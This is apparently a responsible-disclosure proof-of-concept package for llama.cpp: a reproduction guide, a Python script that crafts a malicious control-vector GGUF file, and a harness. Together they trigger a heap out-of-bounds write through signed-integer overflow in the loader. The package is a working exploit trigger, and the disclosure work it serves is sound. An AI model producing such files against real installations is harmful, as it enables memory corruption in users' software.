Upload 4 files

REPRO.md

@@ -0,0 +1,45 @@
+# PoC: heap OOB write in llama.cpp control-vector GGUF loader
+
+`malicious_cv.gguf` triggers a **heap out-of-bounds write** in
+`common_control_vector_load_one()` when llama.cpp loads it as a control vector
+(`--control-vector`), via a signed-integer overflow in the buffer-size /
+write-offset arithmetic. Responsible-disclosure PoC for a huntr report. **Not for malicious use.**
+
+## Files
+- `malicious_cv.gguf` — malicious control-vector model: one tensor `direction.1431655766`, F32, `ne=[3]`.
+- `craft_cv_gguf.py` — how it was generated (`pip install gguf`, then `python craft_cv_gguf.py`).
+- `cv_load_harness.cpp` — minimal harness calling the public `common_control_vector_load()`.
+
+## Reproduce (Linux + AddressSanitizer)
+```bash
+git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
+
+# Build the WHOLE tree (incl. the `common` lib) with AddressSanitizer.
+# (Note: -DGGML_SANITIZE_ADDRESS=ON alone only instruments ggml, NOT common —
+#  use global flags so the control-vector loader is instrumented.)
+cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug \
+  -DCMAKE_C_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
+  -DCMAKE_CXX_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
+  -DBUILD_SHARED_LIBS=OFF -DLLAMA_CURL=OFF -DGGML_NATIVE=OFF
+cmake --build build-asan --target common -j"$(nproc)"
+
+# Build the harness against the ASan static libs (adjust .a paths to your tree).
+g++ -fsanitize=address -g -I. cv_load_harness.cpp \
+  build-asan/common/libcommon.a build-asan/src/libllama.a build-asan/ggml/src/*.a \
+  -lpthread -lm -o cv_load_harness
+
+./cv_load_harness malicious_cv.gguf
+```
+
+**Expected:** ASan reports `heap-buffer-overflow WRITE of size 4` in
+`common_control_vector_load_one` (`common/common.cpp:1865`), located **4 bytes
+before** the 8-byte buffer allocated by the overflowed `resize()` at
+`common/common.cpp:1860`. The harness also prints `n_embd=3 data_size=2`
+(the undersized buffer from the wrap).
+
+`dst[j] += …` is a read-modify-write, so a normal (halting) ASan build reports
+the OOB **read** first; build with `-fsanitize-recover=address` and run with
+`ASAN_OPTIONS=halt_on_error=0` to also surface the **write**.
+
+Also reproducible in the real tool:
+`llama-cli -m <any model> --control-vector malicious_cv.gguf -p hi` under ASan.

craft_cv_gguf.py

@@ -0,0 +1,18 @@
+"""Craft a malicious control-vector GGUF that triggers the signed-int overflow
+OOB write in common_control_vector_load_one (common.cpp:1860-1865).
+
+direction.1431655766 with ne[0]=3  =>  n_embd=3, layer_idx=1431655766
+  resize: 3*1431655766 = 4294967298 -> wraps int -> 2  (buffer = 2 floats)
+  dst   : data() + 3*(1431655766-1) = 4294967295 -> wraps int -> -1  (one float BEFORE buffer)
+  loop writes 3 floats through dst  => OOB write at data()[-1]
+"""
+import numpy as np
+from gguf import GGUFWriter
+
+w = GGUFWriter("malicious_cv.gguf", "controlvector")
+w.add_tensor("direction.1431655766", np.array([1.0, 2.0, 3.0], dtype=np.float32))
+w.write_header_to_file()
+w.write_kv_data_to_file()
+w.write_tensors_to_file()
+w.close()
+print("wrote malicious_cv.gguf")

cv_load_harness.cpp

@@ -0,0 +1,22 @@
+#include "common/common.h"
+#include <iostream>
+#include <vector>
+
+int main(int argc, char ** argv) {
+    if (argc != 2) {
+        std::cerr << "usage: " << argv[0] << " malicious_cv.gguf\n";
+        return 2;
+    }
+
+    common_control_vector_load_info info;
+    info.strength = 1.0f;
+    info.fname = argv[1];
+
+    std::vector<common_control_vector_load_info> infos;
+    infos.push_back(info);
+
+    std::cerr << "calling common_control_vector_load on " << argv[1] << "\n";
+    common_control_vector_data result = common_control_vector_load(infos);
+    std::cerr << "returned n_embd=" << result.n_embd << " data_size=" << result.data.size() << "\n";
+    return result.n_embd == -1 ? 1 : 0;
+}